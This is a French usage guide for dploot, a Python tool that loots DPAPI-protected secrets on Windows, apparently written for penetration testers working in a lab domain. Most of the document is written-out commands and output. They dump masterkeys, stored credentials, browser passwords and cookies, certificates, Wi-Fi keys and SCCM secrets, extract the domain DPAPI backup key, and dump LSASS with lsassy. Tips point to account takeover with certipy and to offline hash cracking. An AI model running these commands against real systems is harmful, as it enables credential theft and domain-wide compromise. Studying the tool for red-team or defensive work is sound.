
Pillage de DPAPI à distance et en local en Python
dploot est une réécriture Python de SharpDPAPI écrit en C# par Harmj0y, qui est lui-même un portage de DPAPI depuis Mimikatz par gentilkiwi. Il implémente toute la logique DPAPI de ces outils, mais cette fois-ci il est utilisable avec un interpréteur Python et depuis un environnement Linux.
Si vous ne savez pas ce qu'est DPAPI, consultez cet article.
Vous pouvez installer dploot directement depuis PyPI avec pipx:```text pipx install git+https://github.com/zblurx/dploot.git
OU```text
pipx install dploot
Sur Kali Linux, vous pouvez installer dploot depuis les dépôts :```text sudo apt install python3-dploot
## Utilisation```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
DPAPI looting locally remotely in Python
positional arguments:
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot peut s'authentifier avec Kerberos. Utilisez simplement l'option -k. Si vous souhaitez utiliser un ticket mis en cache, utilisez l'option -use-kcache.
L'objectif de dploot est de simplifier le butin lié à DPAPI depuis une machine Linux. Comme SharpDPAPI, la façon d'utiliser cet outil dépendra de si vous avez compromis le domaine ou non.
Lorsque vous êtes administrateur local d'un ordinateur Windows, vous pouvez récupérer les secrets machine, par exemple avec machinecertificates (ou toute autre commande de Machine Triage, ou la commande wifi) :```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
### Avec un accès hors ligne au système de fichiers Windows
Une autre façon d'obtenir un accès administrateur local à un système, par exemple via un accès physique, en extrayant le disque et en montant le système de fichiers directement sur votre machine. Pour utiliser ce mode, spécifiez `LOCAL` comme cible. Par défaut, le système de fichiers cible est censé être le répertoire courant ; vous pouvez spécifier un chemin différent avec `-root` :```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)
Il peut toujours être utile de fournir un nom d'utilisateur et un mot de passe valides comme arguments, qui seront utilisés pour déchiffrer les masterkeys (voir les instructions dans User Triage ci-dessous):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)
### En tant qu'administrateur de domaine (ou équivalent)
Si vous disposez de privilèges d'administrateur de domaine, vous pouvez obtenir la clé de sauvegarde DPAPI du domaine avec la commande backupkey. Cette clé peut déchiffrer toutes les clés maîtresses DPAPI des utilisateurs et des ordinateurs du domaine, et elle ne change jamais. Par conséquent, cette clé permet à un attaquant de piller tout mot de passe protégé par DPAPI lié à un utilisateur du domaine.
Pour obtenir la clé de sauvegarde du domaine, vous pouvez utiliser la commande [backupkey](#backupkey) :```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk
Ensuite, vous pouvez récupérer tous les secrets d'utilisateur stockés sur un ordinateur Windows joint à un domaine sur le réseau, par exemple avec la commande certificates (ou toute autre commande User Triage):``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
### Pas en tant qu'administrateur de domaine
Si les privilèges d'administrateur de domaine n'ont pas (encore) été obtenus, l'utilisation de la commande sekurlsa::dpapi de Mimikatz récupérera les correspondances {GUID}:SHA1 des clés maîtresses DPAPI chargées (utilisateur et SYSTEM) sur un système donné (astuce : l'exécution de dpapi::cache après l'extraction des clés vous donnera un joli tableau). Si vous convertissez ces clés au format {GUID1}:SHA1 {GUID2}:SHA1..., elles peuvent être fournies à dploot pour trier la machine. Vous pouvez également utiliser [lsassy](https://github.com/Hackndo/lsassy) pour récolter les clés maîtresses déchiffrées :```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$ [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys
Ensuite, vous pouvez utiliser ce fichier masterkey pour piller l'ordinateur ciblé, par exemple avec la commande browser (ou toute autre commande de User Triage) :```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234
Vous pouvez également extraire les hashs de masterkey avec l'option `-hashes-outputfile` de [dploot masterkeys](#masterkeys)
## Commandes
### Triage utilisateur
#### masterkeys
La commande **masterkeys** récupère tous les fichiers de masterkey d'utilisateur et les déchiffre avec la combinaison `-passwords FILE` de user:password, la combinaison `-nthashes` de user:nthash ou une clé de sauvegarde de domaine `-pvk PVKFILE`. Elle renvoie un ensemble de correspondances de masterkey {GUID}:SHA1. Notez qu'elle essaiera d'utiliser le mot de passe ou le nthash que vous avez utilisé pour vous connecter à la cible, même si vous ne spécifiez pas les options correspondantes. Vous pouvez également utiliser `-hashes-outputfile` pour obtenir tous les hashs de masterkey au format Hashcat/JtR afin de casser le mot de passe en clair.
*Avec la clé de sauvegarde de domaine*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
Avec mot de passe:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
***Astuces***: *Avec le flag `outputfile`, dploot masterkeys ajoutera les masterkeys dérobées dans un fichier spécifié. Il n'y a aucun problème à stocker toutes les masterkeys dans le même fichier, car un DPAPI BLOB stocke le GUID de la masterkey qui sera nécessaire pour la déchiffrer.*
#### credentials
La commande **credentials** recherche les fichiers Credential des utilisateurs et les déchiffre avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` une combinaison user:password, `-nthashes` une combinaison user:nthash, ou un `-pvk PVKFILE` pour déchiffrer d'abord les masterkeys.
Avec `mkfile` :```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Credentials for ALL USERS
[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=test
Description :
Unknown :
Username : test
Unknown : Password#{123}
[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown :
Username : DESKTOP-I60R2L6\Administrator
Unknown : Password!123
Avec pvk :```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Credentials for ALL USERS
[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*
#### vaults
La commande **vaults** recherche les secrets des Vaults des utilisateurs et les déchiffre avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` des combinaisons user:password, `-nthashes` des combinaisons user:nthash ou un `-pvk PVKFILE` pour déchiffrer d'abord les clés maîtres.
Avec `mkfile`:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer]
Username : test
Resource : http://testphp.vulnweb.com/
Password : b'74006500730074000000'
Decoded Password: test
Avec pvk :```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'
Decoded Password: test
#### rdg
La commande **rdg** recherchera les secrets des fichiers RDCMan.settings des utilisateurs et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison user:password, `-nthashes` combinaison user:nthash ou un `-pvk PVKFILE` pour déchiffrer d'abord les masterkeys.
Avec `mkfile` :```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES]
Profile Name: WAZA\Administrator
Username: WAZA\Administrator
Password: Placeholder1234567890
[LOGON PROFILES]
Profile Name: Custom
Username: WAZA\Administrator
Password: Password!123
[SERVER PROFILES]
Name: DC01.waza.local
Profile Name: Custom
Username: WAZA\jdoe
Password: Password#123
[SERVER PROFILES]
Name: SRV01.waza.local
Profile Name: Custom
Username: WAZA\jfile
Password: Password#123
Avec pvk:```text
dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890
[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123
[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123
[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123
#### certificates
La commande **certificates** recherchera les certificats des utilisateurs dans *MY* et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison de user:password, `-nthashes` combinaison de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les masterkeys.
Avec `mkfile` :```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local
Subject: CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date: 2022-05-24 09:51:33
Expiry Date: 2023-05-24 09:51:33
Extended Key Usage:
Unknown OID (1.3.6.1.4.1.311.10.3.4)
emailProtection (1.3.6.1.5.5.7.3.4)
clientAuth (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
Avec pvk:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
Par défaut, l'outil ne récupérera que les certificats utilisés pour l'authentification client, mais avec `-dump-all`, vous pouvez tous les récolter.
***Astuces***: *Si vous obtenez un certificat avec une EKU d'authentification client, vous pouvez prendre le contrôle du compte avec [certipy](https://github.com/ly4k/Certipy).*
#### browser
La commande **browser** recherchera les mots de passe des utilisateurs et les cookies dans les navigateurs basés sur Chrome, et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec la combinaison `-passwords FILE` de user:password, la combinaison `-nthashes` de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les clés maîtres.
Avec `mkfile` :```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA]
URL:
Username: admin
Password: Password!123
Avec pvk :```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123
Pour afficher les cookies stockés, utilisez l'option `-show-cookies`.
Depuis juillet 2024, [les navigateurs basés sur Chromium prennent en charge le chiffrement App Bound Key](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html). TLDR : Pour vider les cookies Chromium (et bientôt les mots de passe), vous devez déchiffrer les masterkeys de l'utilisateur ET du SYSTÈME. Cette option est prise en charge avec le flag `-v20-support`.
#### triage
La commande **triage** exécute les commandes utilisateur [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), et [certificates](#certificates).
### Machine Triage
#### machinemasterkeys
La commande **machinemasterkeys** extrait les secrets LSA avec RemoteRegistry pour récupérer la clé DPAPI_SYSTEM qui sera ensuite utilisée pour déchiffrer toute masterkey machine trouvée. Elle retournera un ensemble de correspondances masterkey {GUID}:SHA1.```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
La commande machinecredentials récupérera tout fichier de Credentials machine trouvé et les déchiffrera avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, sinon dploot videra la clé secrète LSA DPAPI_SYSTEM afin de déchiffrer toute masterkey machine, puis déchiffrera tout blob DPAPI XXX chiffré trouvé.```text
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]
[*] Triage SYSTEM Credentials
[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123
#### machinevaults
La commande **machinevaults** récupérera tous les fichiers machine Vaults trouvés et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, sinon dploot extraira la clé secrète DPAPI_SYSTEM LSA afin de déchiffrer toutes les masterkeys machine, puis déchiffrera tout blob DPAPI Vaults chiffré trouvé.```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SYSTEM Vaults
[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
La commande machinecertificates récupérera tout fichier de clé privée machine trouvé et les déchiffrera avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, sinon dploot videra la clé secrète LSA DPAPI_SYSTEM. afin de déchiffrer toute clé maîtresse machine, puis de déchiffrer tout blob de clé privée DPAPI chiffré trouvé.
Elle videra également le blob de certificats CAPI machine avec RemoteRegistry.```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage SYSTEM Certificates
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
***Astuces***: *Si vous obtenez un certificat avec l'EKU d'authentification client, vous pouvez prendre le contrôle du compte avec [certipy](https://github.com/ly4k/Certipy).*
#### machinetriage
La commande machinetriage exécute les [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) et [machinecertificates](#machinecertificates).
### Divers
#### wifi
La commande **wifi** récupérera tous les fichiers de configuration XML wifi et les déchiffrera avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1 ; sinon, dploot extraira la clé secrète DPAPI_SYSTEM LSA afin de déchiffrer les masterkeys machine, puis déchiffrera tout blob de clé privée DPAPI chiffré trouvé.```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage ALL WIFI profiles
[WIFI]
SSID: Wifi_G
AuthType: WPA2PSK
Encryption: AES
Preshared key: AzErTy1234567890QwSxDcFvG
[WIFI]
SSID: EAP_TLS
AuthType: WPA2 EAP
Encryption: AES
EAP Type: EAP TLS
EapHostConfig:
EapMethod:
Type: 13
VendorId: 0
VendorType: 0
AuthorId: 0
Config:
Eap:
Type: 13
EapType:
CredentialsSource:
CertificateStore:
SimpleCertSelection: true
ServerValidation:
DisableUserPromptForServerValidation: false
ServerNames: None
DifferentUsername: false
PerformServerValidation: true
AcceptServerName: false
[snip]
La commande sccm récupérera les informations d'identification NAA, les variables de collection et les informations d'identification des séquences de tâches depuis la cible distante et les déchiffrera avec -mkfile FILE contenant un ou plusieurs {GUID}:SHA1 ; sinon, dploot extraira la clé secrète LSA DPAPI_SYSTEM afin de déchiffrer les clés maîtresses de machine, puis déchiffrera tout blob de clé privée DPAPI chiffré trouvé. L'utilisation de -wmi extraira les secrets SCCM des résultats des requêtes WMI.```text
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SCCM Secrets
[NAA Account] Username: NAAAccount Password: Password!123
[snip]
#### backupkey
La commande **backupkey** récupérera la clé de sauvegarde DPAPI du domaine depuis un contrôleur de domaine en utilisant [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). Cette clé ne change jamais et peut déchiffrer tout secret protégé par DPAPI de n'importe quel utilisateur du domaine. Des privilèges d'administrateur de domaine sont requis.
Par défaut, cette commande écrit la clé de sauvegarde du domaine dans un fichier nommé key.pvk, mais vous pouvez modifier cela avec l'indicateur `outputfile`. Il est également possible d'extraire la clé de sauvegarde héritée avec l'indicateur `legacy`.```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)
[DOMAIN BACKUPKEY V2]
PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
